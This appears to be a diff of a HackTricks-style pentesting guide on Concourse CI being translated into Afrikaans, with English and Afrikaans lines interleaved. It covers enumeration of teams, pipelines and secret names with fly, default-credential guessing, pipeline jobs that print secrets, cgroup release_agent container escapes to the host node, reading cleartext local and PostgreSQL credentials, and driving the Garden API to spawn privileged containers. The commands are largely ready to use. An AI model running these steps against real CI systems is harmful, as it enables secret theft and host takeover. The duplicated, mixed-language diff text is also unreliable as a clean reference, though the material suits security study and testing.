#### Workers
|
||||
#### Werkers
|
||||
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
Om take uit te voer, moet Concourse 'n paar werkers hê. Hierdie werkers **registreer hulself** via die [TSA](https://concourse-ci.org/internals.html#component-tsa) en bestuur die dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) en [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
- **Garden**: Dit is die **Container Manage API**, gewoonlik bedryf in **poort 7777** via **HTTP**.
|
||||
- **Baggageclaim**: Dit is die **Volume Management API**, gewoonlik bedryf in **poort 7788** via **HTTP**.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,54 +1,50 @@
|
||||
# Concourse Enumeration & Attacks
|
||||
# Concourse Enumerasie & Aanvalle
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concourse Enumeration & Attacks
|
||||
## Concourse Enumerasie & Aanvalle
|
||||
|
||||
### Gebruiker Rolle & Toestemmings
|
||||
|
||||
Concourse kom met vyf rolle:
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse comes with five roles:
|
||||
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
- _Concourse_ **Admin**: Hierdie rol word slegs gegee aan eienaars van die **hoofspan** (standaard aanvanklike concourse span). Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie.
|
||||
- **eienaar**: Span eienaars kan **alles binne die span wysig**.
|
||||
- **lid**: Span lede kan **lees en skryf** binne die **span se bates** maar kan nie die spaninstellings wysig nie.
|
||||
- **pyplyn-operateur**: Pyplyn operateurs kan **pyplyn operasies** uitvoer soos om boue te aktiveer en hulpbronne te pin, maar hulle kan nie pyplyn konfigurasies opdateer nie.
|
||||
- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pyplyne.
|
||||
|
||||
> [!NOTE]
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Boonop kan die **toestemmings van die rolle eienaar, lid, pyplyn-operateur en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek, sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
Let daarop dat Concourse **pyplyne binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pyplyne te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê.
|
||||
|
||||
### Vars & Credential Manager
|
||||
### Vars & Kredietbestuurder
|
||||
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
In die YAML konfigurasies kan jy waardes konfigureer met die sintaksis `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Uit die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wye kredietbestuurder](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [statisch](https://concourse-ci.org/vars.html#static-vars) verskaf word.\
|
||||
Die **opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die kredietbestuurder kies om 'n 'standaard veld' van die verkregen krediet te lees as die veld bestaan.\
|
||||
Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ stel na `my.secret` en die _secret-field_ na `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars can be specified in **tasks steps**:
|
||||
#### Statische Vars
|
||||
|
||||
Statische vars kan gespesifiseer word in **take stappe**:
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Of deur die volgende `fly` **argumente** te gebruik:
|
||||
|
||||
Or using the following `fly` **arguments**:
|
||||
- `-v` of `--var` `NAME=VALUE` stel die string `VALUE` as die waarde vir die var `NAME` in.
|
||||
- `-y` of `--yaml-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die var `NAME` in.
|
||||
- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer oor instance vars te leer.
|
||||
- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var-names aan waardes koppel, en stel hulle almal in.
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
#### Kredensiaalbestuur
|
||||
|
||||
#### Credential Management
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
Daar is verskillende maniere waarop 'n **Kredensiaalbestuurder gespesifiseer kan word** in 'n pyplyn, lees hoe in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Boonop ondersteun Concourse verskillende kredensiaalbestuurders:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -61,160 +57,151 @@ Moreover, Concourse supports different credential managers:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
> Let daarop dat as jy een of ander soort **skrywe toegang tot Concourse** het, jy werksgeleenthede kan skep om **daardie geheime te onttrek** aangesien Concourse toegang tot hulle moet hê.
|
||||
|
||||
### Concourse Enumeration
|
||||
### Concourse Enumerasie
|
||||
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
Om 'n concourse omgewing te evalueer, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind, waarskynlik in 'n `.flyrc` konfigurasie lêer.
|
||||
|
||||
#### Login and Current User enum
|
||||
#### Aanmelding en Huidige Gebruiker enum
|
||||
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
- Om aan te meld, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Kry geconfigureerde **teikens**:
|
||||
- `fly targets`
|
||||
- Kry of die geconfigureerde **teikenverbinding** steeds **geldig** is:
|
||||
- `fly -t <target> status`
|
||||
- Kry die **rol** van die gebruiker teen die aangeduide teiken:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
> Let daarop dat die **API-token** standaard in `$HOME/.flyrc` **gestoor** word, jy wat 'n masjien plunder, kan daar die kredensiale vind.
|
||||
|
||||
#### Teams & Users
|
||||
#### Spanne & Gebruikers
|
||||
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
- Kry 'n lys van die Spanne
|
||||
- `fly -t <target> teams`
|
||||
- Kry rolle binne die span
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Kry 'n lys van gebruikers
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
#### Pyplyne
|
||||
|
||||
- **Lys** pyplyne:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Kry** pyplyn yaml (**sensitiewe inligting** mag in die definisie gevind word):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Kry al die pyplyn **konfigurasie verklaarde vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Kry al die **pyplyne geheime name wat gebruik word** (as jy 'n werk kan skep/wysig of 'n houer kan kaap, kan jy hulle onttrek):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### Houers & Werkers
|
||||
|
||||
#### Containers & Workers
|
||||
- Lys **werkers**:
|
||||
- `fly -t <target> workers`
|
||||
- Lys **houers**:
|
||||
- `fly -t <target> containers`
|
||||
- Lys **bou** (om te sien wat aan die gang is):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
### Concourse Aanvalle
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### Kredensiaal Brute-Force
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Secrets and params enumeration
|
||||
#### Geheimenisse en params enumerasie
|
||||
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheimenisse sal nuttig wees later om te probeer om** hulle te steel.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
#### Sessie binne lopende of onlangs lopende houer
|
||||
|
||||
As jy genoeg voorregte het (**lid rol of meer**) sal jy in staat wees om **pyplyne en rolle** te lys en net 'n **sessie binne** die `<pipeline>/<job>` **houer** te kry met:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
Met hierdie toestemmings mag jy in staat wees om:
|
||||
|
||||
With these permissions you might be able to:
|
||||
- **Die geheime** binne die **houer** te steel
|
||||
- Probeer om te **ontsnap** na die node
|
||||
- **Cloud metadata** eindpunt te enumereer/benut (van die pod en van die node, indien moontlik)
|
||||
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
#### Pyplyn Skepping/Wysiging
|
||||
|
||||
As jy genoeg voorregte het (**lid rol of meer**) sal jy in staat wees om **nuwe pyplyne te skep/wysig.** Kyk na hierdie voorbeeld:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Met die **wysiging/creasie** van 'n nuwe pyplyn sal jy in staat wees om:
|
||||
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
- **Steal** die **secrets** (deur dit uit te echo of binne die houer in te gaan en `env` te loop)
|
||||
- **Escape** na die **node** (deur jou genoeg regte te gee - `privileged: true`)
|
||||
- Enumereer/benut **cloud metadata** eindpunt (van die pod en van die node)
|
||||
- **Delete** geskepte pyplyn
|
||||
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
#### Voer Aangepaste Taak Uit
|
||||
|
||||
Dit is soortgelyk aan die vorige metode, maar in plaas daarvan om 'n hele nuwe pyplyn te wysig/te skep, kan jy **net 'n aangepaste taak uitvoer** (wat waarskynlik baie meer **stealthier** sal wees):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Ontsnap na die node vanaf 'n bevoorregte taak
|
||||
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
In die vorige afdelings het ons gesien hoe om **'n bevoorregte taak met concourse uit te voer**. Dit sal nie die houer presies dieselfde toegang gee as die bevoorregte vlag in 'n docker-houer nie. Byvoorbeeld, jy sal nie die node lêerstelsel toestel in /dev sien nie, so die ontsnapping kan meer "kompleks" wees.
|
||||
|
||||
In die volgende PoC gaan ons die release_agent gebruik om te ontsnap met 'n paar klein wysigings:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -272,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
> Soos jy dalk opgemerk het, is dit net 'n [**gereelde release_agent ontsnapping**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) wat die pad van die cmd in die node aanpas.
|
||||
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
#### Ontsnapping na die node vanaf 'n Werker-container
|
||||
|
||||
'n Gereelde release_agent ontsnapping met 'n klein aanpassing is genoeg hiervoor:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -306,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Ontsnapping na die node vanaf die Web-container
|
||||
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
Selfs al het die web-container 'n paar verdedigingstelsels gedeaktiveer, is dit **nie as 'n algemene bevoorregte container aan die gang nie** (byvoorbeeld, jy **kan nie** **monteer** nie en die **vermoëns** is baie **beperk**, so al die maklike maniere om uit die container te ontsnap is nutteloos).
|
||||
|
||||
Dit stoor egter **lokale geloofsbriewe in duidelike teks**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -321,11 +304,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Jy kan daardie geloofsbriewe gebruik om **aan te meld teen die webbediener** en **'n bevoorregte houer te skep en na die node te ontsnap**.
|
||||
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
In die omgewing kan jy ook inligting vind om **toegang te verkry tot die postgresql** instansie wat concourse gebruik (adres, **gebruikersnaam**, **wagwoord** en databasis onder andere inligting):
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -346,39 +327,35 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
#### Misbruik van Garden Service - Nie 'n werklike Aanval nie
|
||||
|
||||
> [!WARNING]
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
> Dit is net 'n paar interessante notas oor die diens, maar omdat dit net op localhost luister, sal hierdie notas geen impak hê wat ons nog nie voorheen uitgebuit het nie.
|
||||
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (laai die beeld af en voer elke taak uit). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings:
|
||||
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens autentiseer, word 'n tonnel geskep sodat die webbediener kan **praat met elke Garden diens** binne elke werker.
|
||||
- Die webbediener **monitor die lopende houers elke paar sekondes**, en **onverwagte** houers word **verwyder**. So as jy 'n **aangepaste houer** wil **uitvoer**, moet jy **inmeng** met die **kommunikasie** tussen die webbediener en die garden diens.
|
||||
|
||||
Concourse werkers loop met hoë houerprivileges:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
|
||||
> [!NOTE]
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
Let wel, terwyl ek met concourse gespeel het, het ek opgemerk dat wanneer 'n nuwe houer geskep word om iets te loop, die houer prosesse vanaf die werker houer toeganklik is, so dit is soos 'n houer wat 'n nuwe houer binne-in hom skep.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -391,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Skep 'n nuwe bevoorregte houer**
|
||||
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
Jy kan baie maklik 'n nuwe houer skep (hardloop net 'n willekeurige UID) en iets daarop uitvoer:
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
Die webbediener kontroleer egter elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy:
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -436,11 +409,8 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
